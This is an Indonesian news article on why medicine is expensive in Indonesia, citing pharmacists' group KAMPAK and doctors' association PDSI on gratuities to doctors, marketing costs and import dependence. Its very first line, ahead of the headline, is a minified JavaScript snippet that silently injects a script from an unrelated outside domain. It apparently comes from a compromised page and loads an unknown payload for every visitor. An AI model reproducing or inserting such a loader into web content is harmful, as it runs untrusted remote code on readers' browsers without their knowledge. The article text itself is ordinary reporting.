(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Harga Obat di Indonesia Mahal karena Biaya Gratifikasi Oknum Dokter


KANALKALIMANTAN.COM, JAKARTA – Kesatuan Aksi Memperjuangkan Profesi Apoteker Kuat (KAMPAK) menyebut faktor utama yang membuat harga obat mahal di Indonesia karena adanya biaya-biaya gratifikasi untuk para oknum dokter. Hal ini sudah bukan menjadi rahasia umum lagi dan pelakunya terlalu banyak.

Koordinator KAMPAK Merry Patrilinilla Chresna menegaskan oknum dokter inilah yang berwenang menulis resep dan memilihkan obat untuk pasien dan menjadi beban biaya yang ditanggung oleh pihak pasien atau konsumen.

“Jadi bentuk-bentuk gratifikasi itu bisa uang, barang, tiket perjalanan wisata (terkadang dibungkus seminar) ke luar negeri, dan lainnya,” katanya kepada Beritasatu.com -jejaring mitra Kanalkalimantan.com -, Minggu (14/7/2024).

Selain ulah oknum dokter, Merry yang juga seorang apoteker menjelaskan harga obat di Indonesia bisa lima hingga enam kali lebih mahal dibanding negara lain di Asia karena faktor biaya iklan atau promosi obat yang dibebankan kepada konsumen.

Baca juga: Geger Mabuk Kecubung, Polda Kalsel: Beredar Pil Putih Tanpa Merek

Dia mengaku sebenarnya mahalnya harga obat merupakan masalah klasik yang sudah menjadi rahasia umum di kalangan farmasi maupun dunia kesehatan. Hanya saja inti persoalan selama ini menjadi seperti tabu untuk diekspos dan kemungkinan juga karena takut.

“Sebetulnya Menkes Budi Gunadi Sadikin juga dahulu pernah membuka hal ini ke publik. Namun, tampaknya mendapat sorotan dan mungkin juga tekanan, sehingga sekarang beliau tampak tidak berani lagi membuka hal itu ke publik,” ungkapnya.

Merry menjelaskan bahwa masalah klasik ini bisa selesai atau normal kalau bisa menghapus mata rantainya, yakni gratifikasi oknum dokter.

“Ini karena pihak yang dihadapi adalah orang-orang yang jumlahnya banyak bertindak sebagai pemimpin (leader) dalam terapi dan sudah menikmati banyak keuntungan atau fasilitas dari pabrikan obat lewat sales-sales obat,” beber Merry.

Dia menambahkan gratifikasi yang diberikan sangat besar dan mayoritas diberikan kepada oknum-oknum dokter spesialis. Jadi notabene pasien spesialis lebih menjangkau obat mahal, dibanding pasien dokter umum.

“Jadi saya berharap ini harus ada yang berani memulai membongkar ini semua karena sudah menjadi lingkaran hitam yang sangat lama eksis,” harap dia.

Baca juga: Diduga Akibat Obat Nyamuk Bakar, Remaja Disabilitas Meninggal Terbakar di Samarinda

Dia mengakui sebenarnya sumber daya manusia maupun sumber daya alam di negeri Indonesia tidak kurang. Terkait pengadaan bahan baku lokal di industri farmasi dalam negeri, Merry menyatakan kurang memahami detailnya. Namun, memang saat ini sebagian besar masih didominan impor bahan bakunya.

“Apabila ke depan nanti pemerintah serius berniat baik untuk kemandirian bahan baku obat lokal, mohon diwaspadai dari pihak-pihak rente impor. Ini dimungkinkan menjaga kenikmatan dari proses impor dengan bagi-bagi fulus pula kepada pihak-pihak yang punya kewenangan terkait obat,” kata Merry.

 

PDSI Minta Pemerintah Optimalkan Bahan Baku Lokal dan Atasi Praktik Kartel

 

Sementara itu, Perkumpulan Dokter Seluruh Indonesia (PDSI) menilai faktor utama mahalnya harga obat di Indonesia disebabkan oleh ketergantungan pada bahan baku impor dan tingginya biaya pemasaran, termasuk komisi bagi dokter yang meresepkan obat.

Sekretaris Umum PDSI Erfen Gustiawan mengatakan untuk menekan harga obat, skala industri farmasi di Indonesia harus mencapai taraf global. Dengan demikian, biaya produksi dapat ditekan jika menggunakan bahan baku lokal.

“Hal ini perlu diimbangi dengan penegakan aturan pemasaran yang melarang pemberian komisi kepada dokter yang meresepkan obat. Dengan demikian, tata kelola industri farmasi dapat menjadi lebih efektif dan biaya tidak lagi membengkak,” ujarnya kepada Beritasatu.com, Minggu (14/7/2024).

Baca juga: Muhammad Ainullah dan Marhamah Lidya Putri Terpilih Duta GenRe HSU 2024

Menurut Erfen, jika biaya pemasaran, termasuk komisi untuk dokter, dihapus, harga obat dapat ditekan hingga 40%. Selain itu, dengan menggunakan bahan baku lokal, harga obat dapat turun hingga 20% lagi.

“Pemerintah harus menciptakan iklim yang kondusif agar industri farmasi Indonesia dapat bersaing di pasar global, sehingga tidak mengalami kerugian jika menggunakan bahan baku lokal. Jika target pasar hanya nasional, biaya produksi masih sulit untuk ditutupi. Ini adalah masukan dari beberapa pimpinan industri farmasi nasional,” ungkap Erfen.

PDSI meyakini bahwa praktik kartel dalam industri farmasi yang memainkan harga obat dapat dikurangi, seperti praktik suap atau gratifikasi antara dokter dan perwakilan penjualan obat yang menyebabkan hanya produk obat impor yang berkembang.

“Dengan Undang-Undang yang baru, Majelis Etika dan Disiplin akan berada langsung di bawah negara (di bawah Konsil Kesehatan), sehingga penegakan aturan ini harus dilakukan oleh negara dan semua tenaga kesehatan, termasuk dokter, wajib mematuhinya,” tegasnya.

Erfen juga menyesalkan kondisi industri farmasi BUMN yang sedang terpuruk di tengah lonjakan harga obat. Menurutnya, pemerintah perlu memperbaiki iklim usaha dengan memberikan insentif pajak agar industri farmasi lokal dapat bersaing di pasar global.

Selain itu, perlu dilakukan perbaikan jalur distribusi obat dan melarang praktik pemasaran yang memberikan komisi kepada dokter yang meresepkan obat.

Baca juga: Kuasa Hukum Bantah Kejari Banjarbaru Ada Sindikat Kredit Macet Kupedes

Ketika ditanya mengenai potensi obat generik sebagai alternatif, Erfen menyatakan bahwa meskipun harga obat generik murah, hal ini tidak menjamin keberlanjutan produksi jika tidak menguntungkan bagi industri farmasi.

“Perhitungan keuntungan bagi industri farmasi juga harus diperhatikan. Misalnya, obat Hydrochlorothiazide (HCT) untuk hipertensi lini pertama sangat efektif. Namun, karena harganya sangat murah, banyak perusahaan farmasi enggan untuk memproduksinya lagi,” pungkas Erfen. (Kanalkalimantan/Beritasatu.com)

Editor: kk


Risa

Recent Posts

Pjs Wali Kota Banjarbaru Serahkan SK Kenaikan Pangkat PNS

KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More

22 menit ago

KPK Panggil Sahbirin Noor Sebagai Saksi Hari Ini

KANALKALIMANTAN.COM, JAKARTA - Tim penyidik Komisi Pemberantasan Korupsi (KPK) menjadwalkan pemanggilan terhadap mantan Gubernur Kalimantan… Read More

49 menit ago

Donasi Palestina Pjs Wali Kota Banjarbaru di Stan Sekretariat DPRD

KANALKALIMANTAN.COM, BANJARBARU – Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP singgah ke… Read More

55 menit ago

27 Pelaku Usaha Diberi Penghargaan Taat Pengelolaan Lingkungan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru menggelar… Read More

2 jam ago

DPRD Kalsel Usulkan Pengangkatan Muhidin Jadi Gubernur

KANALKALIMANTAN.COM, BANJARMASIN - Pengunduran diri Sahbirin Noor atau Paman Birin dari jabatan Gubernur Kalimantan Selatan… Read More

3 jam ago

Kabupaten Banjar Laksanakan Penyusunan RDTR Wilayah Perencanaan Perkotaan Gambut – Kertakhanyar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More

15 jam ago

This website uses cookies.